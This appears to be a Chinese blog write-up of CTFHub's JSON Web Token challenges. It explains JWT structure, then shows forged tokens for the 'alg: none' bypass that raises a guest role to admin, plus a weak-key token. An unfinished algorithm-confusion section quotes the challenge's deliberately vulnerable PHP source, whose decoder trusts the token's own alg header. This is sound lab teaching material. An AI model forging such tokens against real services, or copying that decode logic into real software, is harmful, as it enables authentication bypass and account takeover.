CTFHUB-Web进阶-JSON Web Token
基础知识
JWT原理
JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。
{ "姓名": "张三", "角色": "管理员", "到期时间": "2018年7月1日0点0分" }
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。
服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。
JWT有三部分组成:
Header(头部)
Payload(负载)
Signature(签名)
Header.Payload.Signature
Header部分:
Header 部分是一个 JSON 对象,描述 JWT 的元数据。
header部分最常用的两个字段是alg和typ。
alg属性表示token签名的算法(algorithm),最常用的为HMAC和RSA算法
typ属性表示这个token的类型(type),JWT 令牌统一写为JWT。
JWT里验证和签名使用的算法,可选择下面的:
JWS | 算法名称 | 描述 |
HS256 | HMAC256 | HMAC with SHA-256 |
HS384 | HMAC384 | HMAC with SHA-384 |
HS512 | HMAC512 | HMAC with SHA-512 |
RS256 | RSA256 | RSASSA-PKCS1-v1_5 with SHA-256 |
RS384 | RSA384 | RSASSA-PKCS1-v1_5 with SHA-384 |
RS512 | RSA512 | RSASSA-PKCS1-v1_5 with SHA-512 |
ES256 | ECDSA256 | ECDSA with curve P-256 and SHA-256 |
ES384 | ECDSA384 | ECDSA with curve P-384 and SHA-384 |
ES512 | ECDSA512 | ECDSA with curve P-521 and SHA-512 |
Payload部分:
Payload 部分也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
除了官方字段,还可以在这个部分定义私有字段
Signature部分:
Signature 部分是对前两部分的签名,防止数据篡改。
首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。
HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)
敏感信息泄露
无签名
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9. 1tg4f5ZwANJCK8gAzI1gL1-yGoB4DS8OXQDKXJRd-YU; expires=Sat, 17-Jul-2021
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 {"typ":"JWT","alg":"HS256"} {"typ":"JWT","alg":"none"} eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9 {"username":"admin","password":"admin","role":"guest"} {"username":"admin","password":"admin","role":"admin"} eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
{"typ":"JWT","alg":"none"}.{"username":"admin","password":"admin","role":"admin"}.
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
弱密钥
Header:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9. {"typ":"JWT","alg":"HS256"}
Payload:
eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJndWVzdCJ9. {"username":"admin","password":"admin","role":"guest"}
签名:
hRHuv8M0WsmxQ8UXuQ4xUAV22l0_4y4V5OFE6zvknfE
修改签名算法(未完成)
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /> <title>CTFHub JWTDemo</title> <link rel="stylesheet" href="/static/style.css" /> </head> <body> <main id="content"> <header>Web Login</header> <form id="login-form" method="POST"> <input type="text" name="username" placeholder="Username" /> <input type="password" name="password" placeholder="Password" /> <input type="submit" name="action" value="Login" /> </form> <a href="/publickey.pem">publickey.pem</a> </main> <?php echo $_COOKIE['token'];?> <hr/> </body> </html> <?php require __DIR__ . '/vendor/autoload.php'; use \Firebase\JWT\JWT; class JWTHelper { public static function encode($payload=array(), $key='', $alg='HS256') { return JWT::encode($payload, $key, $alg); } public static function decode($token, $key, $alg='HS256') { try{ $header = JWTHelper::getHeader($token); $algs = array_merge(array($header->alg, $alg)); return JWT::decode($token, $key, $algs); } catch(Exception $e){ return false; } } public static function getHeader($jwt) { $tks = explode('.', $jwt); list($headb64, $bodyb64, $cryptob64) = $tks; $header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64)); return $header; } } $FLAG = getenv("FLAG"); $PRIVATE_KEY = file_get_contents("/privatekey.pem"); $PUBLIC_KEY = file_get_contents("./publickey.pem"); if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (!empty($_POST['username']) && !empty($_POST['password'])) { $token = ""; if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){ $jwt_payload = array( 'username' => $_POST['username'], 'role'=> 'admin', ); $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256'); } else { $jwt_payload = array( 'username' => $_POST['username'], 'role'=> 'guest', ); $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256'); } @setcookie("token", $token, time()+1800); header("Location: /index.php"); exit(); } else { @setcookie("token", ""); header("Location: /index.php"); exit(); } } else { if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) { $obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY); if ($obj->role === 'admin') { echo $FLAG; } } else { show_source(__FILE__); } } ?>
算法公钥:
获得的Token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6Imd1ZXN0In0.mb6QMX5tQBr4J4ipzjzIsBYzW2QHZat0rycVbGL9uNfuYddUDm2xKYqUHKtRKTzT-zuBpuseBrnIOAD48-1b5tDSYIKiWZzT89cWCXKI8RtvUlUhTsQAwu-3_ZsRdkta9foxO2Jd0kZF7rqBSjrlD-YUaTrBgqf9lHUUJBT8eux0ALWTFXux245zfqsMHHgpk8QGRaBqw73IbpNFtr0UMiXfqI0Nt2-9Og8pLc6i1N7Cd7yLdCX9FInVJYEPSvztH3vSTg81lctRCZvB_Dhz0SQF99ci_fa8Gg-DWbDhB9vw7smBpGZEcH2U-HzdHhNL5yCiIzEqD2SYKb6TGlgofA
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具